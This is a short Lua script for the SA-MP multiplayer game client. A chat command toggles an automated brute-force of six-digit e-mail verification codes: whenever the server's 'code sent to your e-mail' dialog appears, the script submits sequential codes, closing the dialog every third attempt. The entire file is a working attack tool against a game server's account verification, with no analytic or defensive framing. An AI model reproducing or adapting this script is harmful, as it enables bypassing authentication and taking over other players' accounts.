script_author('xcdco', 'chapo')
local Active, Code = false, 1
require('lib.samp.events').onShowDialog = function(id, style, title, button1, button2, text)
if Active and text:gsub('{......}', ''):find('На ваш E%-MAIL было отправлено') then
local Skip = Code %3 == 0
print(Skip and 'Closed with button 0' or 'Sended code: '..('%06d'):format(Code))
if not Skip then
printStyledString('Try: ~y~'..('%06d'):format(Code), 500, 7)
Code = Code + 1
end
sampSendDialogResponse(id, Skip and 0 or 1, nil, Skip and nil or ('%06d'):format(Code))
sampCloseCurrentDialogWithButton(Skip and 0 or 1)
return false
end
end
function main()
while not isSampAvailable() do wait(0) end
sampRegisterChatCommand('ecode', function()
Active = not Active
sampAddChatMessage('Подбор кодов почты: {ffffff}'..(Active and 'включен' or 'выключен'), 0xFFff004d)
end)
wait(-1)
end